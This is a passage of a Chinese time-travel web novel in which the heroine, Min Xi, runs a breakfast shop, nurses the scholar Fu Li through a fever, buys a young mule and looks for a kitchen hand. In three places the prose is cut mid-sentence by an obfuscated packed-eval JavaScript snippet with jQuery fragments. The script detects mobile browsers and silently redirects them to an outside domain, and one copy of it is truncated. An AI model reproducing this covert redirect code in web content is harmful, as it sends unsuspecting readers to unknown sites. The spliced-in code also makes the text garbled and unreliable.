此情此景就如画一般让闵晞格外沉迷，望着远处看了一会儿，她觉得自穿越而来时不时产生的焦躁感都在此刻被抚平了。 以前的人认为重阳时节阳气旺盛，登高可以祈福辟邪，甚至于吸收天地清气，吐出陈杂浊气，有延年益寿的功效。今日一看，闵晞觉得古人说的话也不无道理。 回过神后，闵晞见檐角还有几只麻雀跳来跳去，好不可爱。 不知什么时候，符黎端着一碗酒过来，递给她：“方才把你的酒开了，闵老板也喝一点？” 有人赠饮，虽然是自己做的，但闵晞也是来者不拒：“符公子觉得如何？” 符黎想了想：“和以前喝过的不一样，但也别有一番风味。” 听这话的意思是不大喜欢？没等闵晞多想，符黎不知从哪变了两朵菊花出来。 “今日菊花宴，偶然在席上即兴吟诗得了几朵花。便想趁着现下的好风光送给闵老板，也算是借花献佛了。” 此时夕阳逐渐西沉，阁楼也渐渐因为晚霞镀上一层金边。渔船和画舫也在缓缓往渡口划去。 见今天已经快结束了，众人也纷纷往楼下走去。顷刻间，阁楼便少了不少人。 闵晞见那“吉祥花”虽然已摘下有一会儿了，但花瓣依旧润如玉，晶莹剔透。 同时她也想起今天有不少女子把菊花簪于鬓边，增添雅趣。不过他们家没有闲钱买这些，就买了些茱萸讨个吉利。没想到今天也有人送她菊花。 “那就谢谢公子了。”闵晞见人基本走了，便大大方方接过那菊花，随手簪在鬓边。 只是没有镜子，所以闵晞也不知道那其中一朵菊花被她给簪歪了。眼看着就要掉下去，符黎眼疾手快帮闵晞整理了一下，然后又快速后退一步，保持距离。 闵晞是现代人自然没有那么介意，而是大大方方对符黎道谢：“谢谢，这花很好看，我很喜欢。” 往日闵晞都做普通打扮，平日里只把头发挽起方便干活，头上无一妆点，脸上无一点脂粉。今日见她簪了花，倒是衬得她的脸庞越发清新脱俗，眉眼间多了一股灵动之气。 符黎见过闵晞活泼待客的样子，当时就觉得她与平常的女子不一般。今日转头之时见闵晞双眼望向远方，眼里露出的淡泊之意，以及周身散发出的沉静娴雅之姿他还是第一次见，遂让他不由得多看了几眼。 兴许是方才的菊花酒喝多了些，也让他想得多了些。 说着二人一同下了楼，慢慢朝着回家方向走去。只是天公不作美。才走了一会儿便下起了小雨。 符黎见状掏出随身携带的伞：“闵老板就用我的吧，这雨看着也不大，兴许一会儿就停了。” 闵晞虽想邀请他一起，但在试过两次无果后，闵晞总算是知道了古人倔起来有多强硬的样子。不过这也足以见证他品行高洁，正如傲立于秋风中的菊花一般。 只是好景不长，这雨没有变小，反而有越下越大的趋势。在闵晞的再三要求下，符黎只道：“天色已黑，闵老板还是早些回家吧。” “这里离我家也不是很远了，不碍事的。” 说着在闵晞担忧的目光中，符黎挥挥手，转身小跑消失在了雨中。 闵晞看着他在雨中的身影慢慢变小，最后不见。只叹了口气，然后举着油纸伞回了家。 到了家，三人见闵晞回来了，都纷纷上前关怀。 “怎么才回来？这天都黑了。” “雨下得这么大，你这把伞是哪里来的？”闵彦记得出门之时她们是没有带伞的，这会见闵晞提了把伞，好奇地问道。 闵晞告诉他们是符黎借的后，闵达彬才安心道。 “那可要多谢谢他了，要不然你早淋成落汤鸡了。” 语毕，陶淑苑让闵晞还是先去收拾一下，她已经烧好了热水。 随后等闵晞换了身衣服出来，陶母也端出已经熬好的雪梨姜汤，让闵晞饮下。 闵晞喝了一口，只觉得刚入口有一股辛辣之味直冲上鼻腔，让她顿时皱了眉。 陶淑苑见女儿脸色不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618964|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，劝道：“这老姜味道虽然有些冲，但喝了对驱寒甚好。” 闵晞知道母亲好意，再者这古代人身体可不比现代人身体结实。所以缓了一会儿后，闵晞还是慢慢喝下。 虽然第一口觉得很冲，但辛辣过后伴随着淡淡的雪梨和枸杞的甜味。甜味中和了辣味，也让姜汤不再那么辛辣。 吃到后面闵晞发现里面还卧了个蛋，不由得十分感动。 等姜汤喝完，闵晞的身体也变得热热乎乎的，想来明天不会有事。 第三天，等二人去了铺子了，陶淑苑数了数昨天赚的银钱，惊喜地发现昨天一天居然就赚了相比平日开店多了近四倍的银钱，不由得高兴道：“没想到昨天居然赚了这么多。” “昨天那么多人路过，买的人自然也很多。”闵晞笑眯眯地，一看心情就很好：“咱们赚那么多也是应该的。” “女儿说的是，要是每天都可以赚那么多就好了。”陶淑苑欣喜之余又感叹着。闵晞望着母亲不再年轻的面庞，心想着那样的一天一定会到来。到时候她不仅要赚那么多钱，还要让母亲再不会为衣食而焦虑烦心。 一想到这，闵晞做起早点来就更有动力了。 自那天后，来闵晞店里人也多了一点，大多是生面孔，这都多亏了重阳节那天她和母亲的大声宣扬。 只是有些客人来还想再吃一次重阳糕和菊花酒，闵晞只能抱歉地说没有了。 那可是季节限定，想吃的话只有等明年了，闵晞在心里默默道。 生意红火了，但餐饮的质量可不能下降，在这个没有网络的时代，做生意靠的就是口口相传，要是稍微做错了那么一点，那可就不好办了。 只是过了几天后，闵晞发现了一件不对的事情。 符黎有几天没来了。 以往的话符黎每隔三日就会来吃上一次，最晚也不过五日。但这过了几天了，闵晞才想起来符黎近几日没来吃饭。正当她端了个凳子坐在门口一边晒太阳一边琢磨这事的时候，双瑞来了。 见他来了，闵晞赶忙起身：“符公子近几日可还好？” 双瑞歪着个脑袋，表情有些沮丧：“不太好。” “这是怎么了？” 双瑞回想了一下：“那天重阳节符公子是淋着雨回来的，当时我还纳闷怎么出门带了伞结果回来伞却不见了，结果他说借给了朋友。后面我也没在意，哪知道公子身体渐渐不适，这几天都在咳嗽。结果昨天半夜还发了高烧，现在正卧病在床呢。” 闵晞一听，警铃大作。 “可有请大夫？”陶淑苑听了后也焦急问道。 “一开始公子不让，说过两天自己就好了，哪知道这过了几天都没好，我今早看公子正烧着，便急着出门去请大夫去了。然后想着趁机顺道过来给公子买些早点回去，看他能不能吃得下。” 闵晞一想这事都是因自己而起，心里自然过意不去。稍加思索后，她对双瑞道：“这样，你先回去看看公子情况，我给公子做些易消化的吃食，晚些送过去。” “这不太好吧？”双瑞听了有些不好意思：“拿些现成的包子馒头就好。” 闵晞挥挥手：“你家公子平常也挺照顾我生意的，这会生病了我前去看望也是应该的。你先回去吧，我晚些就来。” 15. 第 15 章 把人劝回去后，陶淑苑面带忧色：“符公子没事吧？” 闵晞回到厨房看了看现有的菜，对母亲道：“等我做好饭食去他家看看便知。眼下人少了，还有闵彦在，母亲去帮我买条鲈鱼和鸡腿肉吧。” 陶淑苑点点头，拿着钱出门了。 闵彦见了母女二人的动作，悄悄闪现到闵晞身边：“就算他那天借了你把伞，然后生病了。你也不至于给他买条鱼来吃吧，我平日里都没吃过几次……” 知道闵彦馋嘴犯了，闵晞道：“放心吧，母亲一定会多买点的，到时候我一并做出来给你们吃。” 听到这闵彦才笑眯眯地走开了：“这还差不多。” 在等母亲买菜的时候，闵晞看见昨天买回来的白萝卜，灵光一闪。 俗话说冬吃萝卜夏吃姜，萝卜为凉性可以缓解咽喉肿痛，润肺化痰。而生姜性温可以促进肠胃消化，治疗食欲不振等问题。 眼下符黎生病了，自然是二者都要吃。 随后闵晞把白萝卜和生姜切成丝，然后热锅烧油把姜丝爆香，再下萝卜炒软。之后放入清水焖煮上一会儿，最后撒入适量葱花和盐，一道清淡的姜丝萝卜汤就做好了。 之后便是粥了。 把江米洗净，泡在水里，再把青菜切成碎。等母亲回来了，闵晞把鸡腿肉撕成条状，锅里放少许油，放入青菜清炒一下，再放入江米和水，大火烧开后转为小火放入鸡丝和盐继续煮。等煮至黏稠后再撒上一点葱花，一道易消化，健脾胃的鸡丝蔬菜粥就做好了。 至于这鲈鱼就更好做了。 闵晞打算做一道简单快手的清蒸鲈鱼，鲈鱼已经提前处理干净，闵晞用盐在鱼的表面涂抹了一层，为的是去除腥味，之后洗净。 再把水烧开，把鲈鱼放进去蒸，鱼的表皮撒了葱花和姜片。等鱼蒸好后，用过的葱花和姜片以及盘中多余的水都扔掉，因为已经染上了腥味。 之后是调汁，闵晞往碗里倒一小勺白糖、盐和两勺生抽，以及新的葱丝和姜丝铺在了鱼上。 然后锅中烧油至冒烟关火，趁热把油浇上去。顿时滋滋冒油的声音和调料的香味便被激了出来。 鱼肉属于优质蛋白质，肉质细腻，正适合小孩老人和生病体弱的人食用。 不到一个时辰，三道快手菜已经做好。 闵晞提前给他们留了粥和鱼，又把三道菜放进了食盒里，然后对他们道：“那我先去符公子家中看看，这里就麻烦母亲和哥哥了。” 闵彦正端着滚烫的粥小心吹着：“你就放心地去吧，这有我们呢。” 陶淑苑也道：“早些回来。” 同家人告别后，闵晞提着食盒向符黎家走去。之前符黎同她说过一次大概的住址。闵晞天生认路厉害，凭借着符黎的话准确走进了梧桐巷，然后在分岔口往右走，直至走到最里面的一间小屋便到了。 闵晞见门开着便大方进去了。 进门之后，闵晞看了一圈四周发现屋子不大却很干净。等再往里走的时候，她闻见了一股浓郁的药味。 走进厨房，闵晞见双瑞正看着炉子上的药，眼睛一眨不眨。 “双瑞。”闵晞喊了一声，双瑞随即回头。 “闵小姐来了？”双瑞看闵晞来了，急忙起身拍了拍衣服。 “大夫来过了？”闵晞看了眼烧得正旺的药炉子，里面正散发着最让她害怕的苦味。 “来了，已经看过开完方子走了，这会我正在煎药呢。”双瑞简单地讲了一下符黎的病情，随后对闵晞道：“这药还要等上一等才好，闵小姐不如进去看看公子吧。” 随后双瑞领着闵晞来到屋前，抬手敲了敲门：“公子，闵小姐来了。” 门里起先没有声音，过了一会儿闵晞听见了里面传来窸窸窣窣的声音和闷声咳嗽的声音。又过了好一会儿，门才打开，露出了一张苍白的面孔。 闵晞见符黎面色惨白，面颊也凹陷了一点，头发也不复往日清爽。 符黎捂着嘴咳嗽着：“闵老板怎么亲自过来了，真是太麻烦了……”符黎一边说着，一边把人带到院中的石桌处坐下。 “公子病得这么严重？”闵晞见了很是担忧。 果然这古人身体就是脆弱。 “不碍事的，就是淋了些雨有些咳嗽发烧罢了，这几天都快好了，都是双瑞自作主张……” 闵晞叹了口气，把食盒放下，小心取出里面刚做好的饭食：“依我看，公子才要感谢双瑞呢，听说这高烧要是不注意是可以把人给烧傻的。要是真的到了那种境地，公子还怎么参加会试呢？” 符黎本还想说些什么，闵晞却及时制止了：“公子还是别说了，快吃些东西补充体力吧。双瑞正熬着药呢，等吃完饭就可以吃药了。” 说着给他舀了一碗姜丝萝卜汤。 见状，符黎也不再推辞，而是小口啜饮着，慢慢将那一碗下肚。喝完后，符黎觉得脑子似乎清醒了一些，嗓子和头疼也缓解了些许。 “来喝些热粥暖暖胃，”闵晞把粥也递给他：“双瑞说你这几天都没什么胃口，喝点粥试试。” 符黎接过带着热气的粥，浅尝了一口。 入口的粥早已被熬得凝起了米油，每一口米都绵密浓稠，泛着珍珠般的晶莹光泽。手撕的鸡腿肉柔滑鲜嫩，翠绿的蔬菜如翡翠般点缀其间，清新甘甜。 符黎慢慢品尝着清淡却不寡淡的鸡丝蔬菜粥，米粥的润，鸡丝的嫩和蔬菜的甜，三种口感在唇齿间流转，让符黎瞬间觉得胃也没那么难受了。 “这粥实在是好喝。”符黎喝了小半碗后对闵晞道：“让我想起了母亲的味道。” “幼时生病的时候，母亲总会为我熬各种各样的粥喝，虽然味道不如闵老板，但幼时总觉得格外温暖。” 听他这么一说，闵晞才意识到眼前的人年龄不过二十。按照她一个现代人的眼光来看，这个年纪正是上大学的阶段，怎么不算是个孩子呢。 见他这么说，闵晞笑着：“能吃下东西就好，这还有一条清蒸鲈鱼，公子吃得下可以吃些，吃不下就等晚上再吃也无妨。” 符黎道：“放心吧，闵老板特意为我做的饭食，我一定会全部吃完，不浪费一点。” 见他强撑着身子这样说，闵晞难免觉得有几分搞笑。 再朝他看去，闵晞见符黎吃了饭，面容多了几分红润，失了血色的嘴唇也透了一点淡粉。睫毛低垂，在眼下投去了两道淡淡的灰影。 虽在病中，但这样的一番病容倒让他更多了几分风雅之美。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621205|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怪不得那时有不少文人墨客喜欢病美人呢。 闵晞大方地看着美人发呆，直到双瑞端着药来，闵晞这才回过神。 “公子药好了，大夫说喝了药好得更快。” 闵晞见那一碗黑乎乎不知道放了什么中草药的苦药就觉得可怕，可符黎只看了一眼，然后接过一饮而尽，脸上没有一点表情。 看他如此面不改色，闵晞是十分佩服。 吃完药后闵晞又与他说了会话，因为是自己的原因才让他生病，所以闵晞便说他生病的这几天里，伙食都由她包了。 符黎起先不同意，但在闵晞的再三要求下，符黎还是勉强同意了。 之后的三天里，符黎是变着法给符黎做着有营养易消化的病号饭，而符黎也在每日三碗不停的苦药下，身子渐渐好了起来。 等身体好得差不多了，符黎亲自上门，趁着早点铺快关门的时候去道谢。 “实在是太感谢了，”已经差不多好利索的符黎提了两包糕点过来送给闵晞，“要不是因为闵老板做的饭食那么好吃，我也不会那么快好起来。” 闵晞见他身子已然大好，也放下心来：“公子客气了，此事本就因我而起，不过是做几顿饭的工夫，不差那么一会儿。倒是因此耽误了公子读书，没能考取个好功名，那才是我的罪过。” 符黎笑道：“寒窗苦读数十载，要是因为这几天的懈怠而落榜，那才是我自身能力不足。” 二人说笑了一番，符黎同闵晞说起了正事：“在下思考了一番，有个不情之请不知闵老板可愿一听？” “公子但说无妨。” 原来这几天吃饭下来，符黎发现闵晞做饭实在是好吃，加之春闱近在眼前，符黎不想再为其他事烦忧，便动了心思想请闵晞来自己做饭。 “当然我知道闵老板平日忙碌，所以只要三五天来做一次即可，至于钱方面老板大可放心。” 一听见有外快可赚，闵晞也是很开心。虽然早点铺起得早，但是一般到了中午就休店了。下午一般闵晞会回去睡个回笼觉，然后在附近瞎溜达，等吃了晚食就洗洗睡了。 这会符黎提到了这件事，既然可以赚钱那闵晞为何不干。不过至于这个定价倒是让闵晞犹豫了一会儿。 似乎是看出了闵晞的犹豫，符黎只道：“闵老板放心，我平时有帮人做抄书写信一活，所以在钱这方面也还算宽裕，姑娘无须担心。” 见他都这么说了，闵晞也放宽了心：“那公子且瞧好吧，一定不会饿着您和双瑞的。” 谈完正事后，闵晞见他并未离去，而是左顾右盼见四下无人，偷偷从怀里掏出一个小盒子，并嘱咐她回去再看。 闵晞见他这般神秘，一时也有些好奇。于是等符黎走后不久便打开了。 盒子里面装有乳色凝固状的膏体，闻起来有股淡淡的药香味道，应当是含了油脂和草药等成分。 再把盒子翻过来一看，上面贴了一张纸条，写着：柏叶手药膏。闵晞这才恍然大悟，原来这是一盒治疗手部皮肤生疮或者冻裂的药膏。 眼下临近冬季，闵晞的手因长时间碰水所以不意外地会生出一些冻疮。符黎定是瞧见了才会送他这个。 只不过，送个膏药而已，为啥还要遮遮掩掩的？ 16. 第 16 章 闵晞回家后把要给符黎做饭一事告知了母亲，母亲开心又可以多赚钱的同时也担心起了女儿的身体。 “只是顺手做个饭而已，不碍事的。”闵晞解释着：“到时我多做一点，家里人也可以吃，何乐不为？” 之后闵晞同符黎商议了做饭的时日，两人约好每隔五日闵晞便带做好的饭菜上门。眼下天气寒凉，闵晞多做一些便够他们吃两日的。 因为符黎这次生病，闵晞才想起一件事，那就是既是早点铺，那粥类肯定也很受欢迎。家里平日只做白粥，之前给符黎做过几次肉粥，他都很喜欢，看来早点铺也可以加上。 这么想着，闵晞试着熬了两次鸡丝蔬菜粥和排骨萝卜粥，不出意外地，依旧受到了大家的欢迎。 这粥类一卖，过来吃饭的饭便更多了。 只是做的吃食虽然都畅销，但长久坐下来闵晞终于意识到了一件很重要的事。 那就是店里人手不足。 虽然早点铺现在只做上午，但现如今只靠她和妈妈已经忙不过来了。而且固定客户多了以后，经常有人问他们能不能开到晚上，因为有些时候他们晚上不想做饭了，便想着随便吃些食物应付一下，有些人也想买来备着第二天第三天再吃。 因为这件事，闵晞同家人商量了一下准备再找个帮厨来干活。 母亲自是赞同：“我早就觉得应该找了，你说这铺子不赚钱我们愁，赚了钱我们累，实在是辛苦。” 闵彦对此无所谓：“妹妹和母亲看着来就行。” 闵达彬也没什么意见：“因为他也确实知道娘俩忙碌，便说抽空去人牙子那里问问，有没有合适的人选。” 不过闵晞不是很想从人牙子那里相看，她之前有了解过，觉得这古代的人牙子其实就和现代的人贩子是一个道理。而且她也不想买断一个人的终生，所以相比之下她还是打算去市场看看。 除此这个闵晞还想再买一头驴回家用。 之前闵晞有几次和闵彦一起去对面的胡家看毛驴做活的时候。那时候胡家的内人郑氏总是会过来说些不痛不痒的话，言语间似乎不大爽快。而且她还拐弯抹角问过闵晞一家人这么辛苦一月能赚几钱？ 闵彦平时大大咧咧惯了，估计没听出来郑氏的意思，但身为现代人的闵晞可琢磨出来了。 别人这是眼红他们家生意呢。 不过也是，虽然闵晞按次给人钱。但次数多了后，别人的毛驴也要干自家的活，总不好经常霸占着。而且你借一次就要承一次别人的情，看一次别人的脸色。万一别人哪天不开心就不借给你了，那她的早点铺还怎么运作？ 所以还是尽快自己买头小毛驴的好。 只不过毛驴价格也不大便宜，闵晞问过一般的毛驴在三两至六两不等。要是骡子和牛一类的牲畜就更贵了，所以闵晞只看得起驴。 一说起家里要买驴的事，闵达彬兴致冲冲当即就要带着闵晞去看驴。 闵晞自然也知道父亲的心思，平常家里人出行只靠着两条腿，光是走路能走多远，一会儿就累了。闵达彬又是个耐不住寂寞的，要是有了匹小毛驴，那他闲暇时间就可以骑着到处溜达了。 不过家里本来也要用驴，所以闵晞任由着闵达彬带着她去看。 就这么，两人接连几天跑了几处地方，把城内几个大型动物卖场都给看完了。最后闵达彬本看中了一匹正值壮年，身体健壮，毛发油亮的公驴。 “这匹毛驴一看就能干活！”闵达彬摸了摸它的毛发，冲闵晞笑着，“要不咱就要这匹？” 闵晞看这毛驴确实不错，便问了问价格，想不到这匹毛驴居然要六两银子，实在是劝退她。 “爹咱再看看吧。”这有点超她预算了，闵晞当即拒绝了。虽然对现如今的她来说，六两的价格不算贵，但她总要留些余钱傍身，再说她还要拿钱招聘工人呢。 自己这个爹可真是不当家不知柴米油盐贵。 闵达彬听被拒了有些闷闷不乐，不过好在选择够多。他又看上了其它的毛驴，只可惜一问价格最低也是四两银子，闵晞觉得还是贵了些。 正在两人纠结之际，闵晞瞧见一旁的驴身后还有几只比驴体型还要大的蹄类动物。它们看上去身体更为修长匀称，体型也更结实些。 闵晞一问才知道这是骡子。 “这骡子可比驴还贵哦。”一旁的卖家懒洋洋提醒道。 正所谓物以稀以贵，骡子本就是马和驴杂交后生下的后代，又因为骡子兼任了马的聪明温顺和驴的耐力强壮，承载的货物也更多，寿命也更长一点，所以价格会更贵一点。 闵晞顺嘴问了问价格，确实更贵了些，都要□□两银子了。 不过这么一比较，闵晞感觉骡子更实用些。 正当闵晞踌躇之际，忽然她发现有一只半大的小毛驴正藏在母亲身后，只隐约能瞧见纤细的蹄子。 瞧见有小驴，闵晞灵机一动，问起了站在一旁的卖家。 “你这小毛驴卖吗？” “卖，怎么不卖？”卖家坐在一旁懒洋洋的：“不过这不是小驴，而是小骡子。” 从刚刚起那个大爷和那个小丫头就站在那有一会了。那大爷一直对着他的毛驴指指点点，只可惜看了半天都没有要买的意思，让本来还有点期待的他是一点一点没了待客的兴致，人也懒散了。 “你想买骡子？还是小骡子？” 闵达彬听见闵晞想买骡子，心想这骡子虽然价格贵些，但可比驴还要会干活，买来也挺好。 “只是你买这小骡子怎么干活？”闵达彬见是小骡子，微微皱起了眉头，有些不同意。 闵晞道：“先看看再说呗。”说着让卖家把小骡子牵出来溜达了一圈。 闵晞见这小骡子身量也就半岁大的样子，一双圆圆的大眼睛不停扑闪着长长的睫毛，好似在诉说着对世界的好奇。软软的耳朵来回摇着，尾巴也轻轻摆着。再一摸身上的毛，也十分柔软，可以说是异常可爱了。 果然动物都是小时候最可爱。闵晞摸着它额前的一抹白毛，心里已然心动。 “这小骡子价值几何？” 卖家说了个数：“五两。” “这么小的骡子都干不了什么活，你居然要五两？”闵达彬一听就不乐意了：“闺女走走走，再换家店看看。” 卖家听了悠悠道：“卖驴的多，卖骡子的可不多，你要想找结实能干的骡子就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621206|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了。” 见他这么一说，闵晞回忆了一下，这一路看过来卖骡子的确实少。随后她又看向那小骡子，见小骡子正巧也眨巴着看向她，尾巴还晃了晃悠。 闵晞当即就决定要买下这匹骡子。 于是在她的锲而不舍地讨价还价中，闵晞终于以四两半的价格拿下，另还让店家送了些粮食一起运回去。 “你这小姑娘，年纪不大，嘴皮子功夫倒是厉害。”卖家接过钱叹了口气：“真是输给你了。” 闵晞眯起双眼，接过绳子：“谢谢您的夸奖。” 说完呼着闵达彬：“爹回家啦。” 二人一路上牵着小骡子回了家，小骡子常年被关在棚里没怎么出去过。这会走了这么长一段路，显然非常开心。一路上蹦蹦跳跳的，十分快乐。 等到了家，陶淑苑出门见二人一前一后牵着驴回来了，等陶淑苑仔细看见了驴的体型后问道：“怎么买了一头小驴？” 闵晞听了笑了：“母亲再好好看看呢，这是不是驴？” 闵彦听了仔细看了几眼：“娘，这是骡子，比驴还要贵些呢。” 一听闵晞买的是骡子，还是小骡子，陶淑苑也疑惑了。 闵晞道：“骡子比驴能干且性格更好，但是壮年的骡子贵，所以我就想着买一头小骡子就好。虽然现在不能干太多活，但再过几个月后它就慢慢长大了，届时就能干了。” 听她这么一说，陶淑苑也同意了。不过不同意也不行啊毕竟骡子都牵回来了。 闵晞把骡子牵进了草棚子里，用绳子拴好，又给骡子备了两个盆，一个放水一个放吃食。本来都休息了的大黄也起身过来闻了闻，好像在熟悉小骡子的味道。 马无夜草不肥，骡子也是。闵晞抚摸着它的毛发，期待它能多吃点草料，这样才有力气帮家里出力。 因为骡子时不时会发出叫声，虽然不大，但不出三日，周围的邻居也都知道了闵家买了匹骡子。住得不远的小孩纷纷登门过来嚷着要看小骡子。 “以往见过驴，也见过耕地的牛，不过这骡子倒是少见。”住得近的胡三狗第一个跑了过来，近距离看了看。 “怎么样？和你家的毛驴还是不一样吧？” “现在太小了看不出来，感觉长得也差不多呢……”胡三狗一边说着一边伸手。 “哎哎摸摸身上就得了，别摸嘴，小心它咬你！” “也别摸尾巴，小心它踢你！” 闵彦怕胡三狗再摸下去就被踹了，连忙把他抱起来，放在一旁。这孩子本就体弱，要是有个三长两短，郑婶子还不得找他算账。 闵达彬本来对闵晞的决定不大满意，但小骡子乖巧活泼，比起倔强的驴来说好了不少。加上小骡子确实可爱，闵达彬看久也就顺眼了。后面甚至还亲自照料起了它的饮食起居，给它找了不少草料过来铺在棚子里，就怕这么冷的天小骡子着了凉，生病了就不好了。 甚至还给骡子取了个名字，叫大呆。 “为什么叫这个名字？”闵晞不理解。 “这小骡子性子太活泼了些，还是安静点好，你看三狗家里的毛驴的性子就不错。所以给它取名叫大呆，让它安静沉稳些。” 17. 第 17 章 对于父亲的解释闵晞哭笑不得，不过名字而已，想叫什么都可以。 自从养了这骡子，闵晞倒是发现父亲比以前靠谱了些，不会再像以前那样有事没事想着溜出去玩了。小骡子哦不，现在应该叫大呆了，也在父亲的照料下慢慢长大了一点。 闵晞曾试着让大呆磨豆子，虽然可以磨，但是大呆毕竟还小，磨了一会儿就耐不住想去玩。闵达彬这时就会让它喝点水，吃点草料，休息一会儿。有时候下午也会带它去河边溜达一会儿，晒晒太阳。 解决完这件事后，闵晞又和母亲等中午闭店后打算去市场雇个白案师傅回来。 市场鱼龙混杂，各色人等都有，闵晞和母亲一到就被不少人问有什么需求，想要雇个什么样的人，甚至还有小女孩想直接上手拉住闵晞。 “姐姐姐姐，看看我，我很能干的，什么都能做。” 闵晞低头一看见小孩一张洗得还算干净的脸，可是脏兮兮的衣服和站在她身后不远一直望着她们的大人，都让闵晞退避三舍。 母亲之前就说过，有些人牙子是专门骗钱的，像这种小孩你以为价格便宜，又听人吹嘘说可以拿回去当童养媳，有些人一时心动便买了。 哪知道买回去了没几天小孩自己就找机会跑了，到时候你去找人牙子别人都不带理你的，兴许还要把你打出去。 就算不是这种，闵晞觉得买小孩回去当童工也太不道德，所以未满十六的她一律不看。 这次闵晞准备招个白案师傅，把早点铺里面揉面一类的活交给旁人，她和母亲负责配料就好。 所以得招个力气大点的工人。之前她和母亲揉面久了，后面闵晞回家一看发现手肘那里都青了一块，母亲用药酒给她揉了好几天才消下去。 只是这一路看来，不是人不满意，就是价格不满意。难得遇见两个合适的，看起来力气大的，年纪也合适的，只是价格也贵了些；价格合适的闵晞见那人跟个瘦猴子一样怕他使不上力气。更别说还有些仪容不整，指甲缝都是黑黢黢的人，闵晞更是通通不要。 做的吃食差一点就算了，她最忌讳在外面吃到的食物不干净。所以不少男人她一见就决定不要。 无他，只是太邋遢了。 只是这样一看下来，能达到闵晞要求的少之又少，正当闵晞和母亲累了，找了个歇脚的地方喝了两碗茶水之际。闵晞余光看见角落里一名坐着的女子。这一看，她顿时来了兴趣。 那女子比一般人都要高不少，估算一下足有七尺。不仅身量高，身体也壮实，比起当初闵晞才来时的单薄模样几乎宽了有一倍。 别的不说，这身板看着就能干，这手腕看着就结实。 “娘，你看那个。”闵晞眼神示意陶淑苑，陶淑苑闻之朝角落看了过去。 “哎哟，还有这么健壮的女子呢？”陶淑苑见了也感叹着：“实在是少见。” 一旁的摊主见闵晞母女讨论起了她，赶忙道：“这可是咱们集市有名的‘铁妇人’。你们如果是来招人的，可千万别找她。” “这是为何？” 摊主道：“这铁妇人性格古怪，长得又如此怪异，当年就一直嫁不出去。后面娘家好不容易倒贴嫁出去了，就因为丈夫嫌弃她不会做事，打骂了她几句，她就直接把人给摔折了。” “结果夫家一气之下就把她给休了，娘家也嫌她丢人不让她回去，这几年间她就自个儿来到这市场偶尔接些杂活做事，也是个怪人。” “真是可怜啊。”陶淑苑听了感叹道。 “哪里可怜了？谁让她那么大脾气，还敢打骂丈夫！”摊主说完也喝了一口茶：“这等悍妇，被休也不奇怪。” “那这其中应当也是有原因的……”没等陶淑苑说完，闵晞便起身：“走母亲，咱们去看看。” 摊主看她真要去，是叹了口气：“怎么方才同你说了那么多话你都没听进去，可真是自讨苦吃！” 就是因为听进去了，闵晞才更要去看看。这女子若真像他说的那般厉害，那她可得会会。 说着闵晞几步走到了铁妇人面前，仔细打量起了她的脸。 铁妇人长得壮实，脸也是圆圆的，但看着并无戾气。为了方便干活，她把头发全部盘在后面看着很是利索。身上的衣服虽然破破烂烂的，但整体看着也算干净。 兴许是闵晞看得太久了，那铁妇人道：“姑娘可是要雇人？” 铁妇人的声音比起一般女子也要粗犷一下，但中气十足。 闵晞点头：“我想招一个白案师傅，你可会做？” 铁妇人听了摇摇头：“不会，如果是普通的打杂洒扫的话我会。” 听了后闵晞想不会做也没事，这事也不难，只要肯学上手也快。 于是闵晞便老实道：“我在离城北集市的不远处开了一家早点铺，眼下想请一个白案师傅做活。” 铁妇人听了面露难色：“可是我不会，所以你还是去寻她人吧。” “不会可以学啊，”闵晞道：“我方才听摊主说了你的事，希望你别介意。” 铁妇人听了浑不在意：“我的事住在这附近的人都知道，你知道又何妨。” 见她还挺爽快，闵晞也直接蹲下和她齐平视线：“说实话，我招白案师傅需要的就是力气，我看你手大身体壮，感觉很是合适。你不会我可以教你，如果你有意来我店做活的话。” “此话当真？”听见有人愿意要她，还是她不会的活，铁妇人眨了眨眼：“大多数人只是问问我能做什么就走了，没想到你还愿意上赶着教我手艺？” 闵晞道：“这又不是什么难事，只要你愿意学。” 之后闵晞还对她说了如果愿意来她们店里的话还可以免费住宿和吃饭。 这话一出铁妇人的眼睛都亮了。 “此话当真？”她音调拔高，显然有些激动。她自从被赶出去后没有住处，只能是和市场上其他没有住所的人一起挤在临时搭建的茅草房里。 如果东家可以给地方住那自然更好。 闵晞点头：“那是自然，我的早点铺后面有一间专门放置杂物的小房间，你不嫌弃可以打扫一下住在里面，还可以晚上帮我看看店，这多好。” “而且我这是早点铺，自然可以包你的饭食。” 铁妇人听完心里很是高兴，只是转念一想，言语凌厉了几分：“你这怕不是骗子吧？难不成是看我无娘家无夫家，想把我给卖了？”

